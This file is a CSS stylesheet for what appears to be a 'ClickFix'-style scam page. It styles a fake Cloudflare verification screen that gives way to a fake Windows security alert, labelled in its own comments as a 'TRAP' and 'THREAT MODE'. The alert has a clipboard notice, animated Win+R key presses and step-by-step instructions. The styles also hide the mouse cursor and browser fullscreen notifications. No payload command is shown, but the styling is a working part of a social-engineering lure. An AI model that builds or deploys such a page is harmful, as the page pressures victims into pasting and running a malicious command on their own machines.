/* STRICT RESET */
html, body {
    margin: 0;
    padding: 0;
    width: 100%;
    height: 100%;
    overflow: hidden;
    font-family: 'Segoe UI', 'Segoe UI Web', -apple-system, BlinkMacSystemFont, Roboto, Helvetica, Arial, sans-serif;
    background-color: #fff;
    user-select: none;
}

/* CLOUDFLARE VIEW */
#cf-view {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
    background: #fff;
    z-index: 100;
}

.cf-content {
    width: 100%;
    max-width: 520px;
    text-align: left;
    padding: 40px;
    box-sizing: border-box;
    margin: 0; 
}

.cf-header { display: flex; align-items: center; margin-bottom: 20px; }
.cf-logo-text { font-size: 22px; font-weight: 600; margin-left: 12px; color: #333; }
.cf-title { font-size: 28px; font-weight: 300; margin: 0 0 15px 0; color: #1a1a1a; line-height: 1.2; }
.cf-subtitle { font-size: 15px; color: #555; margin: 0 0 30px 0; line-height: 1.5; }

.cf-spinner {
    width: 36px;
    height: 36px;
    border: 3px solid #e5e5e5;
    border-top: 3px solid #F48120;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 20px;
    display: block;
}
@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

.cf-verify-btn {
    display: none;
    background-color: #F48120;
    color: white;
    border: none;
    padding: 12px 24px;
    font-size: 15px;
    font-weight: 500;
    cursor: pointer;
    border-radius: 4px;
    transition: background 0.2s;
}
.cf-verify-btn:hover { background-color: #c7620d; }
.cf-footer { position: absolute; bottom: 20px; width: 100%; text-align: center; font-size: 11px; color: #888; }

/* RECONNECT OVERLAY (WINDOWS STYLE TRAP) */
.reconnect-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.6); /* Dimmed background */
    backdrop-filter: blur(4px);
    display: none; /* Hidden by default */
    justify-content: center;
    align-items: center;
    z-index: 2147483647; /* MAX INT */
}

.win-dialog {
    background: #fff;
    width: 460px;
    max-width: 90%;
    border-radius: 8px;
    box-shadow: 0 8px 24px rgba(0,0,0,0.4);
    font-family: 'Segoe UI', sans-serif;
    overflow: hidden;
    animation: popIn 0.2s ease-out;
    border: 1px solid #ccc;
}

.win-dialog-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 10px 16px;
    font-size: 12px;
    color: #333;
}

.win-close-x {
    cursor: pointer;
    padding: 4px 8px;
    font-size: 14px;
}
.win-close-x:hover { background: #e5e5e5; }

.win-dialog-content {
    padding: 20px 24px;
    display: flex;
    gap: 16px;
}

.win-icon-area {
    flex-shrink: 0;
}

.win-text-area {
    flex-grow: 1;
}

.win-heading {
    margin: 0 0 8px 0;
    font-size: 18px;
    font-weight: 600;
    color: #005A9E;
}

.win-message {
    margin: 0;
    font-size: 14px;
    color: #333;
    line-height: 1.5;
}

.win-dialog-footer {
    background: #f0f0f0;
    padding: 16px 24px;
    display: flex;
    justify-content: flex-end;
    border-top: 1px solid #e5e5e5;
}

.win-btn-primary {
    background: #0078D7;
    color: white;
    border: none;
    padding: 8px 32px; /* Wider button */
    font-size: 14px;
    border-radius: 4px;
    cursor: pointer;
    font-weight: 500;
    transition: background 0.1s;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}

.win-btn-primary:hover {
    background: #0063b1;
}

/* SECURITY VIEW - ENHANCED THREAT MODE */
#security-view {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    display: none;
    justify-content: center;
    align-items: center;
    background-color: #0078D7;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100' height='100' viewBox='0 0 24 24' fill='none' stroke='%23ffffff' stroke-width='1' stroke-opacity='0.1'%3E%3Cpath d='M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z'/%3E%3C/svg%3E");
    background-size: 150px 150px;
    z-index: 9999;
    cursor: none !important;
}

/* USER INFO BAR - CENTERED RECTANGLE OVERLAY */
.user-info-bar {
    position: fixed;
    top: 0;
    left: 50%;
    transform: translateX(-50%);
    width: 600px;
    max-width: 90%;
    background: rgba(0, 0, 0, 0.95);
    color: #fff;
    padding: 12px 20px;
    display: flex;
    flex-wrap: wrap;
    justify-content: center;
    align-items: center;
    gap: 10px;
    font-size: 13px;
    z-index: 999999;
    border-bottom: 2px solid #D83B01;
    border-bottom-left-radius: 10px;
    border-bottom-right-radius: 10px;
    box-shadow: 0 4px 12px rgba(0,0,0,0.5);
    backdrop-filter: blur(10px);
}

.info-item {
    display: flex;
    align-items: center;
    gap: 6px;
    padding: 4px 12px;
    background: rgba(255, 255, 255, 0.1);
    border-radius: 4px;
    font-family: 'Consolas', monospace;
    white-space: nowrap;
}

.info-item strong {
    color: #ff6b6b;
}

.alert-box {
    background: #ffffff;
    width: 540px;
    max-width: 95%;
    border-radius: 8px;
    overflow: hidden;
    font-family: 'Segoe UI', sans-serif;
    margin: auto;
    cursor: none;
    box-shadow: 0 0 0 0 rgba(216, 59, 1, 0.7);
    animation: popIn 0.3s cubic-bezier(0.175, 0.885, 0.32, 1.275), pulse-red 1.5s infinite;
    border: 2px solid #D83B01;
    position: relative;
    z-index: 10000;
}

@keyframes popIn { 0% { transform: scale(0.9); opacity: 0; } 100% { transform: scale(1); opacity: 1; } }

@keyframes pulse-red {
    0% { box-shadow: 0 0 0 0 rgba(216, 59, 1, 0.7); }
    70% { box-shadow: 0 0 0 20px rgba(216, 59, 1, 0); }
    100% { box-shadow: 0 0 0 0 rgba(216, 59, 1, 0); }
}

.alert-header { background: #fff; padding: 16px 24px; display: flex; align-items: center; gap: 12px; border-bottom: 1px solid #f0f0f0; }
.alert-header svg { stroke: #D83B01; }
.alert-header span { font-size: 14px; font-weight: 700; color: #D83B01; text-transform: uppercase; letter-spacing: 0.5px; }

.alert-body { padding: 32px 40px; text-align: center; }
.alert-icon-large { width: 72px; height: 72px; margin-bottom: 20px; display: inline-block; }
.shield-path { fill: #D83B01; }

.alert-title { font-size: 26px; font-weight: 600; color: #D83B01; margin-bottom: 12px; }
.alert-msg { font-size: 16px; color: #333; margin-bottom: 24px; line-height: 1.5; font-weight: 500; }

.clipboard-notice {
    background: #ffe6e6;
    border: 1px solid #ffcccc;
    color: #D83B01;
    padding: 10px;
    border-radius: 4px;
    font-size: 13px;
    font-weight: 600;
    margin-bottom: 30px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
}
.check-icon { font-weight: bold; }

.instruction-steps { text-align: left; background: #fff; padding: 0; }
.step-row { display: flex; align-items: center; justify-content: space-between; margin-bottom: 16px; padding: 12px; border-bottom: 1px solid #f5f5f5; border-radius: 4px; transition: all 0.3s; }
.step-row:last-child { margin-bottom: 0; border-bottom: none; }
.step-label { font-size: 14px; font-weight: 700; color: #333; }

/* Step Status Styles */
.step-row.completed {
    background-color: #e6ffec;
    border-color: #b7ebc3;
}
.step-row.completed .step-label {
    color: #2e7d32;
    text-decoration: line-through;
}
.step-status::after {
    content: '';
    display: inline-block;
    width: 20px;
    height: 20px;
}
.step-row.completed .step-status::after {
    content: '✓';
    color: #2e7d32;
    font-weight: bold;
    font-size: 18px;
}
.step-row.active {
    background-color: #fff8e1;
    border: 2px solid #ffe082;
    box-shadow: 0 2px 8px rgba(255, 193, 7, 0.3);
}

.keys-anim-container, .keys-group { display: flex; align-items: center; gap: 6px; }

/* KEYS */
.key {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    min-width: 36px;
    height: 36px;
    padding: 0 8px;
    background: #fff;
    color: #333;
    border: 1px solid #ccc;
    border-bottom: 4px solid #999;
    border-radius: 4px;
    font-family: 'Segoe UI', sans-serif;
    font-size: 14px;
    font-weight: 600;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
    transition: all 0.1s;
}

.key svg { width: 16px; height: 16px; fill: #333; }
.plus-sign { color: #999; font-size: 12px; }

/* RED ANIMATIONS FOR THREAT MODE */
@keyframes press-win-red {
    0%, 100% { transform: translateY(0); border-bottom-width: 4px; background: #fff; }
    15%, 50% { 
        transform: translateY(4px); 
        border-bottom-width: 0px; 
        background: #D83B01;
        color: white;
        border-color: #a62d01;
    }
}
.k-win { animation: press-win-red 2.5s infinite; }
.k-win svg { transition: fill 0.1s; }

@keyframes press-r {
    0%, 55%, 100% { transform: translateY(0); border-bottom-width: 4px; background: #fff; }
    60%, 90% { 
        transform: translateY(4px); 
        border-bottom-width: 0px; 
        background: #f0f0f0; 
        border-color: #bbb;
    }
}
.k-r { animation: press-r 2.5s infinite; }

/* Overlay for allowed keys instruction */
.allowed-keys-overlay {
    position: fixed;
    bottom: 20px;
    left: 0;
    right: 0;
    background: rgba(216, 59, 1, 0.95);
    color: white;
    padding: 12px;
    text-align: center;
    font-size: 14px;
    font-weight: 600;
    z-index: 100003;
    backdrop-filter: blur(5px);
    border-top: 2px solid #fff;
}

/* Hide browser notifications */
.fullscreen-notification {
    display: none !important;
}

.custom-notification-bar {
    display: none !important;
}

/* Key capture indicator */
.key-capture-indicator {
    position: fixed;
    bottom: 70px;
    left: 50%;
    transform: translateX(-50%);
    background: rgba(46, 125, 50, 0.95);
    color: white;
    padding: 14px 24px;
    border-radius: 6px;
    font-size: 15px;
    font-weight: 600;
    z-index: 100004;
    backdrop-filter: blur(5px);
    display: none;
    border: 2px solid #66bb6a;
    box-shadow: 0 4px 12px rgba(0,0,0,0.3);
}

@keyframes fadeInOut {
    0% { opacity: 0; transform: translateX(-50%) translateY(20px); }
    20% { opacity: 1; transform: translateX(-50%) translateY(0); }
    80% { opacity: 1; transform: translateX(-50%) translateY(0); }
    100% { opacity: 0; transform: translateX(-50%) translateY(-20px); }
}

/* Animation for highlighting keys */
.highlight-key {
    animation: highlightKey 0.8s ease-in-out infinite !important;
    border-color: #D83B01 !important;
    background-color: #fff0eb !important;
}

@keyframes highlightKey {
    0% { transform: scale(1); box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
    50% { transform: scale(1.15); box-shadow: 0 0 20px rgba(216, 59, 1, 0.8); border-color: #D83B01; }
    100% { transform: scale(1); box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
}